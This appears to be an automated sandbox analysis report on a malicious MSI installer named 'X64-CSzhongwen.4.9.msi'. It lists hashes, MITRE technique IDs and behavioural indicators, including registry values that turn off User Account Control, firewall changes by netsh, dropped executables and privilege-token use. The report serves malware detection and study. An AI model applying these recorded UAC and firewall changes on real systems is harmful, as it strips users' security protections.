f166df9c5d7782041900c943c060eee2708aa54a6fd9c20fbb0a08218eef0449

Analysis

max time kernel
228s
max time network
282s
platform
windows10-1703_x64
resource
win10-20230703-en
resource tags

arch:x64arch:x86image:win10-20230703-enlocale:en-usos:windows10-1703-x64system
submitted
23-08-2023 03:58

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

X64-CSzhongwen.4.9.msi
Size

90.7MB
MD5

6e41efd4e0607637c4fc4309fa2ff4ed
SHA1

5c7c680277f3705e087b7940ca481a0838a758f1
SHA256

f166df9c5d7782041900c943c060eee2708aa54a6fd9c20fbb0a08218eef0449
SHA512

325752a2602ebc5440547299fb885cf18481dd79a84df6685526ab84d2f81f4ccb77535e4d8c6c94d13c62fe385aa0348058548109e5677d2e8bcbb7cd74734e
SSDEEP

1572864:XCKawy0JEFm4X+8fXIA9iUH85BkGoiqfPI0pGRUHocSjJFm93YWz0zpS:XCKRl18vFkBkG9w7pGIovFI9I

Score

10^/10

evasion trojan upx

Malware Config

Signatures

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

reg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	reg.exe

Modifies Windows Firewall 1 TTPs 3 IoCs
evasion

Windows Service
T1543.003

Processes:

netsh.exenetsh.exenetsh.exe

pid process

4184 netsh.exe
4800 netsh.exe
4940 netsh.exe
Executes dropped EXE 2 IoCs

Processes:

dac.exeConsoleProxy.exe

pid process

1668 dac.exe
3080 ConsoleProxy.exe

pid	process
4184	netsh.exe
4800	netsh.exe
4940	netsh.exe

pid	process
1668	dac.exe
3080	ConsoleProxy.exe

Loads dropped DLL 10 IoCs

Processes:

MsiExec.exeMsiExec.exeConsoleProxy.exe

pid	process
4544	MsiExec.exe
4544	MsiExec.exe
4544	MsiExec.exe
4544	MsiExec.exe
4544	MsiExec.exe
4544	MsiExec.exe
504	MsiExec.exe
504	MsiExec.exe
3080	ConsoleProxy.exe
3080	ConsoleProxy.exe

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/1668-211-0x0000000180000000-0x000000018003E000-memory.dmp	upx
behavioral2/memory/1668-213-0x0000000180000000-0x000000018003E000-memory.dmp	upx
behavioral2/memory/1668-214-0x0000000180000000-0x000000018003E000-memory.dmp	upx
behavioral2/memory/1668-215-0x0000000180000000-0x000000018003E000-memory.dmp	upx
behavioral2/memory/1668-216-0x0000000180000000-0x000000018003E000-memory.dmp	upx
behavioral2/memory/1668-230-0x0000000180000000-0x000000018003E000-memory.dmp	upx
behavioral2/memory/1668-253-0x0000000180000000-0x000000018003E000-memory.dmp	upx

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

msiexec.exeConsoleProxy.exemsiexec.exe

description	ioc	process
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\V:	ConsoleProxy.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\I:	ConsoleProxy.exe
File opened (read-only)	\??\K:	ConsoleProxy.exe
File opened (read-only)	\??\N:	ConsoleProxy.exe
File opened (read-only)	\??\Z:	ConsoleProxy.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Y:	ConsoleProxy.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\O:	ConsoleProxy.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\G:	ConsoleProxy.exe
File opened (read-only)	\??\T:	ConsoleProxy.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	ConsoleProxy.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	ConsoleProxy.exe
File opened (read-only)	\??\H:	ConsoleProxy.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\J:	ConsoleProxy.exe
File opened (read-only)	\??\P:	ConsoleProxy.exe
File opened (read-only)	\??\S:	ConsoleProxy.exe
File opened (read-only)	\??\U:	ConsoleProxy.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\R:	ConsoleProxy.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	ConsoleProxy.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\W:	ConsoleProxy.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\B:	ConsoleProxy.exe
File opened (read-only)	\??\X:	ConsoleProxy.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe

Drops file in System32 directory 7 IoCs

Processes:

dac.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	dac.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3FE2BD01AB6BC312BF0DADE7F797388F_F7F9B7BDCC367A8E3539D28F7D4D4BA2	dac.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3FE2BD01AB6BC312BF0DADE7F797388F_F7F9B7BDCC367A8E3539D28F7D4D4BA2	dac.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7229E30BCFD0992128433D951137A421_F0BB2463DDCCB4B49DC9200CC9E498E9	dac.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7229E30BCFD0992128433D951137A421_F0BB2463DDCCB4B49DC9200CC9E498E9	dac.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7229E30BCFD0992128433D951137A421_76EBFC12D6FD7EE9DD82775C12CF3BD5	dac.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7229E30BCFD0992128433D951137A421_76EBFC12D6FD7EE9DD82775C12CF3BD5	dac.exe

Drops file in Windows directory 10 IoCs

Processes:

msiexec.exe

description	ioc	process
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2F39.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3034.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{997F38C3-E68F-4219-8D4D-C234BE733C5E}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI34E8.tmp	msiexec.exe
File created	C:\Windows\Installer\e582e10.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e582e10.msi	msiexec.exe
File created	C:\Windows\Installer\e582e12.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 64 IoCs

Processes:

ConsoleProxy.exemmc.exemmc.exenetsh.exedac.exemmc.exemsiexec.exenetsh.exesvchost.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum\Version = "7"	ConsoleProxy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	mmc.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	ConsoleProxy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Microsoft Management Console\Recent File List	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\System\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	mmc.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Microsoft Management Console\Recent File List	mmc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	dac.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	mmc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ConsoleProxy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ConsoleProxy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Microsoft Management Console\Recent File List	mmc.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\1E\52C64B7E	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Microsoft Management Console	mmc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@mmcbase.dll,-14008 = "Folder"	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\System\CurrentControlSet\Control\NetTrace	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\System\CurrentControlSet	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ConsoleProxy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	dac.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mmc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Microsoft Management Console	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace	netsh.exe
Key created	\REGISTRY\USER\S-1-5-18_Classes\Local Settings	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	dac.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ConsoleProxy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum	ConsoleProxy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mmc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	mmc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ConsoleProxy.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\MICROSOFT MANAGEMENT CONSOLE\RECENT FILE LIST	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\System\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1f	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	dac.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	mmc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	mmc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\System\CurrentControlSet\Control	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	dac.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	mmc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	dac.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	mmc.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Microsoft Management Console\Recent File List	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Microsoft Management Console	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Microsoft Management Console\Settings	mmc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Microsoft Management Console\Recent File List	mmc.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	mmc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	mmc.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	ConsoleProxy.exe

Modifies registry class 23 IoCs

Processes:

msiexec.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\3C83F799F86E9124D8D42C43EB37C3E5	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\3C83F799F86E9124D8D42C43EB37C3E5\MainFeature	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\Language = "2052"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\67708036E3027134CBB5C9BE30891990\3C83F799F86E9124D8D42C43EB37C3E5	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\Version = "16777216"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\SourceList\PackageName = "X64-CSzhongwen.4.9.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\SourceList\Net	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\SourceList\Media\DiskPrompt = "[1]"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\ProductName = "CS-TG-64"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\PackageCode = "D07B4CB59D9DAD44384C347448832FE1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\67708036E3027134CBB5C9BE30891990	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\SourceList\Media\1 = ";"	msiexec.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

4124 PING.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

msiexec.exeConsoleProxy.exe

pid process

4168 msiexec.exe
4168 msiexec.exe
3080 ConsoleProxy.exe
3080 ConsoleProxy.exe

pid	process
4124	PING.EXE

pid	process
4168	msiexec.exe
4168	msiexec.exe
3080	ConsoleProxy.exe
3080	ConsoleProxy.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

msiexec.exemsiexec.exe

description	pid	process
Token: SeShutdownPrivilege	2020	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2020	msiexec.exe
Token: SeSecurityPrivilege	4168	msiexec.exe
Token: SeCreateTokenPrivilege	2020	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2020	msiexec.exe
Token: SeLockMemoryPrivilege	2020	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2020	msiexec.exe
Token: SeMachineAccountPrivilege	2020	msiexec.exe
Token: SeTcbPrivilege	2020	msiexec.exe
Token: SeSecurityPrivilege	2020	msiexec.exe
Token: SeTakeOwnershipPrivilege	2020	msiexec.exe
Token: SeLoadDriverPrivilege	2020	msiexec.exe
Token: SeSystemProfilePrivilege	2020	msiexec.exe
Token: SeSystemtimePrivilege	2020	msiexec.exe
Token: SeProfSingleProcessPrivilege	2020	msiexec.exe
Token: SeIncBasePriorityPrivilege	2020	msiexec.exe
Token: SeCreatePagefilePrivilege	2020	msiexec.exe
Token: SeCreatePermanentPrivilege	2020	msiexec.exe
Token: SeBackupPrivilege	2020	msiexec.exe
Token: SeRestorePrivilege	2020	msiexec.exe
Token: SeShutdownPrivilege	2020	msiexec.exe
Token: SeDebugPrivilege	2020	msiexec.exe
Token: SeAuditPrivilege	2020	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2020	msiexec.exe
Token: SeChangeNotifyPrivilege	2020	msiexec.exe
Token: SeRemoteShutdownPrivilege	2020	msiexec.exe
Token: SeUndockPrivilege	2020	msiexec.exe
Token: SeSyncAgentPrivilege	2020	msiexec.exe
Token: SeEnableDelegationPrivilege	2020	msiexec.exe
Token: SeManageVolumePrivilege	2020	msiexec.exe
Token: SeImpersonatePrivilege	2020	msiexec.exe
Token: SeCreateGlobalPrivilege	2020	msiexec.exe
Token: SeCreateTokenPrivilege	2020	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2020	msiexec.exe
Token: SeLockMemoryPrivilege	2020	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2020	msiexec.exe
Token: SeMachineAccountPrivilege	2020	msiexec.exe
Token: SeTcbPrivilege	2020	msiexec.exe
Token: SeSecurityPrivilege	2020	msiexec.exe
Token: SeTakeOwnershipPrivilege	2020	msiexec.exe
Token: SeLoadDriverPrivilege	2020	msiexec.exe
Token: SeSystemProfilePrivilege	2020	msiexec.exe
Token: SeSystemtimePrivilege	2020	msiexec.exe
Token: SeProfSingleProcessPrivilege	2020	msiexec.exe
Token: SeIncBasePriorityPrivilege	2020	msiexec.exe
Token: SeCreatePagefilePrivilege	2020	msiexec.exe
Token: SeCreatePermanentPrivilege	2020	msiexec.exe
Token: SeBackupPrivilege	2020	msiexec.exe
Token: SeRestorePrivilege	2020	msiexec.exe
Token: SeShutdownPrivilege	2020	msiexec.exe
Token: SeDebugPrivilege	2020	msiexec.exe
Token: SeAuditPrivilege	2020	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2020	msiexec.exe
Token: SeChangeNotifyPrivilege	2020	msiexec.exe
Token: SeRemoteShutdownPrivilege	2020	msiexec.exe
Token: SeUndockPrivilege	2020	msiexec.exe
Token: SeSyncAgentPrivilege	2020	msiexec.exe
Token: SeEnableDelegationPrivilege	2020	msiexec.exe
Token: SeManageVolumePrivilege	2020	msiexec.exe
Token: SeImpersonatePrivilege	2020	msiexec.exe
Token: SeCreateGlobalPrivilege	2020	msiexec.exe
Token: SeCreateTokenPrivilege	2020	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2020	msiexec.exe
Token: SeLockMemoryPrivilege	2020	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

msiexec.exe

pid process

2020 msiexec.exe
2020 msiexec.exe
Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

dac.exemmc.exemmc.exemmc.exeConsoleProxy.exe

pid process

1668 dac.exe
1668 dac.exe
204 mmc.exe
204 mmc.exe
2392 mmc.exe
2392 mmc.exe
4600 mmc.exe
4600 mmc.exe
3080 ConsoleProxy.exe

pid	process
2020	msiexec.exe
2020	msiexec.exe

pid	process
1668	dac.exe
1668	dac.exe
204	mmc.exe
204	mmc.exe
2392	mmc.exe
2392	mmc.exe
4600	mmc.exe
4600	mmc.exe
3080	ConsoleProxy.exe

Suspicious use of WriteProcessMemory 46 IoCs

Processes:

msiexec.exemmc.exemmc.exedac.execmd.exemmc.exeConsoleProxy.execmd.exe

description	pid	process	target process
PID 4168 wrote to memory of 4544	4168	msiexec.exe	MsiExec.exe
PID 4168 wrote to memory of 4544	4168	msiexec.exe	MsiExec.exe
PID 4168 wrote to memory of 4544	4168	msiexec.exe	MsiExec.exe
PID 4168 wrote to memory of 4192	4168	msiexec.exe	srtasks.exe
PID 4168 wrote to memory of 4192	4168	msiexec.exe	srtasks.exe
PID 4168 wrote to memory of 504	4168	msiexec.exe	MsiExec.exe
PID 4168 wrote to memory of 504	4168	msiexec.exe	MsiExec.exe
PID 4168 wrote to memory of 504	4168	msiexec.exe	MsiExec.exe
PID 4168 wrote to memory of 1668	4168	msiexec.exe	dac.exe
PID 4168 wrote to memory of 1668	4168	msiexec.exe	dac.exe
PID 204 wrote to memory of 704	204	mmc.exe	netsh.exe
PID 204 wrote to memory of 704	204	mmc.exe	netsh.exe
PID 2392 wrote to memory of 1028	2392	mmc.exe	netsh.exe
PID 2392 wrote to memory of 1028	2392	mmc.exe	netsh.exe
PID 1668 wrote to memory of 1220	1668	dac.exe	cmd.exe
PID 1668 wrote to memory of 1220	1668	dac.exe	cmd.exe
PID 1220 wrote to memory of 4248	1220	cmd.exe	reg.exe
PID 1220 wrote to memory of 4248	1220	cmd.exe	reg.exe
PID 1220 wrote to memory of 1156	1220	cmd.exe	reg.exe
PID 1220 wrote to memory of 1156	1220	cmd.exe	reg.exe
PID 1220 wrote to memory of 3436	1220	cmd.exe	reg.exe
PID 1220 wrote to memory of 3436	1220	cmd.exe	reg.exe
PID 1668 wrote to memory of 2712	1668	dac.exe	cmd.exe
PID 1668 wrote to memory of 2712	1668	dac.exe	cmd.exe
PID 4600 wrote to memory of 3080	4600	mmc.exe	ConsoleProxy.exe
PID 4600 wrote to memory of 3080	4600	mmc.exe	ConsoleProxy.exe
PID 4600 wrote to memory of 3080	4600	mmc.exe	ConsoleProxy.exe
PID 3080 wrote to memory of 4184	3080	ConsoleProxy.exe	netsh.exe
PID 3080 wrote to memory of 4184	3080	ConsoleProxy.exe	netsh.exe
PID 3080 wrote to memory of 4184	3080	ConsoleProxy.exe	netsh.exe
PID 3080 wrote to memory of 4800	3080	ConsoleProxy.exe	netsh.exe
PID 3080 wrote to memory of 4800	3080	ConsoleProxy.exe	netsh.exe
PID 3080 wrote to memory of 4800	3080	ConsoleProxy.exe	netsh.exe
PID 3080 wrote to memory of 4940	3080	ConsoleProxy.exe	netsh.exe
PID 3080 wrote to memory of 4940	3080	ConsoleProxy.exe	netsh.exe
PID 3080 wrote to memory of 4940	3080	ConsoleProxy.exe	netsh.exe
PID 1668 wrote to memory of 372	1668	dac.exe	cmd.exe
PID 1668 wrote to memory of 372	1668	dac.exe	cmd.exe
PID 372 wrote to memory of 4124	372	cmd.exe	PING.EXE
PID 372 wrote to memory of 4124	372	cmd.exe	PING.EXE
PID 3080 wrote to memory of 4860	3080	ConsoleProxy.exe	netsh.exe
PID 3080 wrote to memory of 4860	3080	ConsoleProxy.exe	netsh.exe
PID 3080 wrote to memory of 4860	3080	ConsoleProxy.exe	netsh.exe
PID 3080 wrote to memory of 1760	3080	ConsoleProxy.exe	netsh.exe
